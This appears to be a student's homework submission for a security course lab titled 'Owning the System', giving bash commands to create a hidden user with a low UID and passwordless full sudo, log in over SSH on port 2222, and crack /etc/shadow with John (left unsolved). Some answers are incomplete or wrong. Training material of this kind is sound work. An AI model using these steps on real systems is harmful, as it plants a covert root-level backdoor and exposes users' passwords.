**Week 6 Homework Submission File: Advanced Bash - Owning the System**

* Please edit this file by adding the solution commands on the line below the prompt.
* Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

**- useradd -M sysd**

2. Give your secret user a password:

- **passwd sysd**

3. Give your secret user a system UID < 1000:

- **usermod -u 600 sysd**

4. Give your secret user the same GID:

- **groupmod -g 600 sysd**

5. Give your secret user full `sudo` access without the need for a password:

* **visudo**
* **sysd ALL=(ALL:ALL) NOPASSWD:ALL**
* **Save as “/etc/sudoers.tmp**
* **Ctrl X**

6. Test that `sudo` access works without your password:

* **cat /etc/sudoers | grep -i sysd | awk '{ print $3 }'**

**Step 2: Smooth Sailing**

1. Edit the `sshd\_config` file:

* **sudo nano /etc/sshd\_config**

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:

- **systemctl restart ssh.service**

2. Exit the `root` account:

- **exit**

3. SSH to the target machine using your `sysd` account and port `2222`:

- **ssh sysd@192.168.6.105 -p 2222**

4. Use `sudo` to switch to the root user:

- **sudo su**

**Step 4: Crack All the Passwords**

1. SSH back to the system using your `sysd` account and port `2222`:

- **ssh sysd@192.168.6.105 -p 2222**

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

- **(Unable to solve)**